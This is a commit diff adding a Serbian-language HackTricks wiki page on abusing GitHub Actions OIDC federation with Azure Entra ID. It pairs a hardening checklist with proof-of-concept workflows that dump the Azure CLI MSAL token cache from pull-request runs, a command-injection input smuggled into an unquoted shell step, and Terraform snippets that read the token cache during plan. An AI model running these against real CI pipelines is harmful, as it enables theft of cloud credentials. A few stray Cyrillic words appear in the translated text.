mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['src/pentesting-cloud/azure-security/az-basic-information/az
This commit is contained in:
@@ -0,0 +1,227 @@
|
||||
# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Pregled
|
||||
|
||||
GitHub Actions može da se federira sa Azure Entra ID (ranije Azure AD) koristeći OpenID Connect (OIDC). GitHub workflow zahteva kratkotrajan GitHub ID token (JWT) koji enkodira detalje o izvršavanju. Azure validira ovaj token u odnosu na Federated Identity Credential (FIC) na App Registration (service principal) i razmenjuje ga za Azure access tokens (MSAL cache, bearer tokens for Azure APIs).
|
||||
|
||||
Azure validira bar:
|
||||
- iss: https://token.actions.githubusercontent.com
|
||||
- aud: api://AzureADTokenExchange (kada se razmenjuje za Azure tokens)
|
||||
- sub: mora odgovarati konfigurisanoj FIC Subject identifier
|
||||
|
||||
> Podrazumevani GitHub aud može biti GitHub URL. Kada razmenjujete sa Azure, eksplicitno postavite audience=api://AzureADTokenExchange.
|
||||
|
||||
## GitHub ID token quick PoC
|
||||
```yaml
|
||||
name: Print OIDC identity token
|
||||
on: { workflow_dispatch: {} }
|
||||
permissions:
|
||||
id-token: write
|
||||
jobs:
|
||||
view-token:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: get-token
|
||||
run: |
|
||||
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
|
||||
# Base64 avoid GitHub masking
|
||||
echo "$OIDC_TOKEN" | base64 -w0
|
||||
```
|
||||
Da biste prisilili Azure audience prilikom zahteva za token:
|
||||
```bash
|
||||
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
|
||||
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
|
||||
```
|
||||
## Azure podešavanje (Workload Identity Federation)
|
||||
|
||||
1) Kreirajte App Registration (service principal) i dodelite najmanje privilegije (npr. Storage Blob Data Contributor na konkretnom storage account-u).
|
||||
|
||||
2) Dodajte Federated identity credentials:
|
||||
- Issuer: https://token.actions.githubusercontent.com
|
||||
- Audience: api://AzureADTokenExchange
|
||||
- Subject identifier: usko ograničen na predviđeni workflow/run kontekst (pogledajte Scoping and risks dole).
|
||||
|
||||
3) Koristite azure/login da razmenite GitHub ID token i prijavite se u Azure CLI:
|
||||
```yaml
|
||||
name: Deploy to Azure
|
||||
on:
|
||||
push: { branches: [main] }
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Az CLI login
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZURE_CLIENT_ID }}
|
||||
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
|
||||
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
|
||||
- name: Upload file to Azure
|
||||
run: |
|
||||
az storage blob upload --data "test" -c hmm -n testblob \
|
||||
--account-name sofiatest --auth-mode login
|
||||
```
|
||||
Primer ručne razmene (prikazan opseg Graph-a; ARM i ostali resursi slično):
|
||||
```http
|
||||
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
|
||||
Host: login.microsoftonline.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
client_id=<app-client-id>&grant_type=client_credentials&
|
||||
client_assertion=<GitHub-ID-token>&client_info=1&
|
||||
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
|
||||
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
|
||||
```
|
||||
## GitHub OIDC subject (sub) anatomija i prilagođavanje
|
||||
|
||||
Podrazumevani format sub-a: repo:<org>/<repo>:<context>
|
||||
|
||||
Vrednosti za context uključuju:
|
||||
- environment:<env>
|
||||
- pull_request (PR se pokreće kada nije u environment-u)
|
||||
- ref:refs/(heads|tags)/<name>
|
||||
|
||||
Korisni claims koji se često pojavljuju u payload-u:
|
||||
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
|
||||
|
||||
Prilagodite sastav sub-a koristeći GitHub API da uključite dodatne claims i smanjite rizik od kolizije:
|
||||
```bash
|
||||
gh api orgs/<org>/actions/oidc/customization/sub
|
||||
gh api repos/<org>/<repo>/actions/oidc/customization/sub
|
||||
# Example to include owner and visibility
|
||||
gh api \
|
||||
--method PUT \
|
||||
repos/<org>/<repo>/actions/oidc/customization/sub \
|
||||
-f use_default=false \
|
||||
-f include_claim_keys='["repository_owner","repository_visibility"]'
|
||||
```
|
||||
Napomena: Dvotačke u imenima okruženja su URL‑kodirane (%3A), čime su uklonjeni stariji trikovi ubacivanja delimitera koji su iskorišćavali parsiranje sub. Međutim, korišćenje nejedinstvenih subject‑ova (npr. samo environment:<name>) i dalje nije bezbedno.
|
||||
|
||||
## Opseg i rizici FIC tipova subject-a
|
||||
|
||||
- Branch/Tag: sub=repo:<org>/<repo>:ref:refs/heads/<branch> or ref:refs/tags/<tag>
|
||||
- Rizik: Ako je grana/tag nezaštićen, bilo koji contributor može push-ovati i dobiti tokene.
|
||||
- Environment: sub=repo:<org>/<repo>:environment:<env>
|
||||
- Rizik: Nezaštićena okruženja (bez reviewers) omogućavaju contributor-ima da generišu tokene.
|
||||
- Pull request: sub=repo:<org>/<repo>:pull_request
|
||||
- Najveći rizik: Bilo koji collaborator može otvoriti PR i zadovoljiti FIC.
|
||||
|
||||
PoC: Krađa tokena pokrenuta PR‑om (exfiltrate the Azure CLI cache written by azure/login):
|
||||
```yaml
|
||||
name: Steal tokens
|
||||
on: pull_request
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
jobs:
|
||||
extract-creds:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: azure login
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZURE_CLIENT_ID }}
|
||||
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
|
||||
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
|
||||
- name: Extract access token
|
||||
run: |
|
||||
# Azure CLI caches tokens here on Linux runners
|
||||
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
|
||||
# Decode twice locally to recover the bearer token
|
||||
```
|
||||
Povezane lokacije fajlova i napomene:
|
||||
- Linux/macOS: ~/.azure/msal_token_cache.json sadrži MSAL tokene za az CLI sesije
|
||||
- Windows: msal_token_cache.bin u korisničkom profilu; zaštićen DPAPI-jem
|
||||
|
||||
## Reusable workflows i job_workflow_ref scoping
|
||||
|
||||
Pozivanje reusable workflow-a dodaje job_workflow_ref u GitHub ID token, npr.:
|
||||
```
|
||||
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
|
||||
```
|
||||
FIC primer za povezivanje i repo pozivaoca i ponovo upotrebljivog toka rada:
|
||||
```
|
||||
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
|
||||
```
|
||||
Konfigurišite claims u repo pozivaoca tako da su i repo i job_workflow_ref prisutni u sub:
|
||||
```http
|
||||
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
|
||||
Host: api.github.com
|
||||
Authorization: token <access token>
|
||||
|
||||
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
|
||||
```
|
||||
Upozorenje: Ako u FIC povežete samo job_workflow_ref, napadač može да kreira drugi repo u istoj organizaciji, pokrene isti reusable workflow на istom ref-u, zadovolji FIC и mint tokens. Uvek uključite i caller repo.
|
||||
|
||||
## Vektori izvršavanja koda koji zaobilaze job_workflow_ref zaštitu
|
||||
|
||||
Čak i sa pravilno ograničenim job_workflow_ref, bilo koji caller‑controlled podaci koji dospeju u shell bez bezbednog citiranja mogu dovesti do izvršavanja koda unutar zaštićenog konteksta workflow-a.
|
||||
|
||||
Primer ranjivog reusable step-a (necitirana interpolacija):
|
||||
```yaml
|
||||
- name: Example Security Check
|
||||
run: |
|
||||
echo "Checking file contents"
|
||||
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
|
||||
echo "Malicious content detected!"; exit 1
|
||||
else
|
||||
echo "File contents are safe."
|
||||
fi
|
||||
```
|
||||
Zlonamerni unos pozivaoca za izvršavanje komandi i eksfiltraciju Azure token cache:
|
||||
```yaml
|
||||
with:
|
||||
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
|
||||
```
|
||||
## Terraform plan kao izvršna primitiva u PR-ovima
|
||||
|
||||
Smatrajte Terraform plan izvršavanjem koda. Tokom faze planiranja, Terraform može:
|
||||
- Čitati proizvoljne fajlove putem funkcija kao što je file()
|
||||
- Izvršavati komande putem external data source
|
||||
|
||||
Primer za exfiltrate Azure token cache tokom planiranja:
|
||||
```hcl
|
||||
output "msal_token_cache" {
|
||||
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
|
||||
}
|
||||
```
|
||||
Ili koristite external za pokretanje proizvoljnih komandi:
|
||||
```hcl
|
||||
data "external" "exfil" {
|
||||
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
|
||||
}
|
||||
```
|
||||
Dozvoljavanje FICs koji se mogu koristiti za planove pokrenute iz PR‑a izlaže privilegovane tokene i može pripremiti destruktivni apply kasnije. Odvojite identitete za plan i apply; nikada ne dozvolite privilegovane tokene u nepouzdanim PR kontekstima.
|
||||
|
||||
## Kontrolna lista za jačanje bezbednosti
|
||||
|
||||
- Nikada ne koristite sub=...:pull_request za osetljive FICs
|
||||
- Zaštitite bilo koji branch/tag/environment koji se referencira u FICs (branch protection, environment reviewers)
|
||||
- Preferirajte FICs opsega i za repo i za job_workflow_ref za reusable workflows
|
||||
- Prilagodite GitHub OIDC sub da uključi jedinstvene claims (npr., repo, job_workflow_ref, repository_owner)
|
||||
- Eliminišite unquoted interpolation inputa pozivaoca u run steps; enkodirajte/oznakčite navodnicima bezbedno
|
||||
- Smatrajte terraform plan kao izvršavanje koda; ograničite ili izolujte identitete u PR kontekstima
|
||||
- Primenujte princip najmanjih privilegija na App Registrations; odvojite identitete za plan i apply
|
||||
- Zaključajte actions i reusable workflows na commit SHAs (izbegavajte branch/tag pins)
|
||||
|
||||
## Saveti za manuelno testiranje
|
||||
|
||||
- Zatražite GitHub ID token u workflow‑u i ispišite ga kao base64 da izbegnete masking
|
||||
- Dekodirajte JWT da proverite claim‑ove: iss, aud, sub, job_workflow_ref, repository, ref
|
||||
- Ručno zamenite ID token preko login.microsoftonline.com da potvrdite poklapanje FIC i scope‑ova
|
||||
- Nakon azure/login, pročitajte ~/.azure/msal_token_cache.json da verifikujete prisustvo token materijala
|
||||
|
||||
## References
|
||||
|
||||
- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2)
|
||||
- [azure/login action](https://github.com/Azure/login)
|
||||
- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external)
|
||||
- [gh CLI](https://cli.github.com/)
|
||||
- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user